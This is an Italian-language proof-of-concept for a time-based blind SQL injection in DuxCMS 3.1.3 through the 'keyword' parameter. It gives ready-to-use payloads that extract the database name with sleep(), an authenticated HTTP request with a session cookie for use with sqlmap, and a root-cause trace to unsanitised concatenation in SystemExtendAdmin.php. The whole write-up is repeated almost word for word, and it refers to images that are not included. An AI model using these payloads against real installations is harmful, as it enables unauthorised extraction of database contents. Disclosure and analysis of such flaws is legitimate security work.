
Exploit proof-of-concept per una vulnerabilità di SQL injection blind basata sul tempo in DuxCMS3.1.3, che mira al parametro 'keyword' con richieste autenticate e integrazione con sqlmap.
Indirizzo del progetto: ****
Preparazione:
Accedi al backend - ottieni il cookie
http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=
Parametro della vulnerabilità: keyword
payload: %27and(select*from(select+if(ascii(substr(database(),1,1))%3E97,sleep(1),0))a//union//select+1)=%27
Se l'iniezione ha successo, il ritardo è maggiore di un secondo, altrimenti nessun ritardo.

Verifica con sqlmap:
È necessario avere il cookie.
GET http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=%27and%28select%2Afrom%28select%2Bsleep%283%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27 HTTP/1.1
Host: 127.0.0.1:8093
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=jna2rl0d9ie3em6gb82s9odb3j
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=1


Nome del database attualmente in uso ottenuto con successo. Questa vulnerabilità esiste.
Dal parametro di iniezione: keyword è possibile individuare la posizione della chiamata.
app/system/admin/SystemExtendAdmin.php
Riga: 42.

Utilizza like per il matching fuzzy e non filtra $value, quindi si introduce una vulnerabilità nella query.
Quando inserisci: and(select*from(select sleep(3))a//union//select 1)=

Come mostrato nell'immagine sopra: il parametro $value viene ottenuto dalla riga 29 $pageParams = request(); dalla richiesta request, quindi alla riga 32 viene decodificato $pageParams[$key] con urldecode() per ottenere la nostra dichiarazione SQL malevola. Non ci sono difese.
Quindi la payload viene concatenata direttamente.

Dopo l'esecuzione, la dichiarazione SQL completa è:
(A.title like '%and(select*from(select sleep(3))a//union//select 1)=%')
Lavoro preparatorio:
Accedi al backend - ottieni il cookie.
Parametro della vulnerabilità: keyword
payload: %27and(select*from(select+if(ascii(substr(database(),1,1))%3E97,sleep(1),0))a//union//select+1)=%27
Se l'iniezione ha successo, il ritardo è maggiore di un secondo, altrimenti nessun ritardo.

Autenticazione con sqlmap:
È necessario il cookie.
GET http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=%27and%28select%2Afrom%28select%2Bsleep%283%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27 HTTP/1.1
Host: 127.0.0.1:8093
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=jna2rl0d9ie3em6gb82s9odb3j
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=1


Il nome del database attualmente in uso è stato ottenuto con successo.
Questa vulnerabilità esiste.
Recuperando dal parametro di iniezione: keyword si può individuare la posizione della chiamata.
App/system/admin/SystemExtendAdmin.php.
Riga 42.

C'è una vulnerabilità nella query perché usa like per il matching fuzzy e non filtra $value.
Quando inserisci: and (select*from (select sleep (3)) a//union//select 1) =

Come mostrato nell'immagine sopra: il parametro $value viene ottenuto dalla riga 29 $pageParams = request (); dalla richiesta request, e poi la riga 32 decodifica $pageParams [$key] con urldecode () per ottenere la nostra dichiarazione SQL malevola.
Non ci sono difese.
Quindi la payload viene concatenata direttamente.

Dopo l'esecuzione, la dichiarazione SQL completa è:
(A.title like '%and(select*from(select sleep(3))a//union//select 1)=%')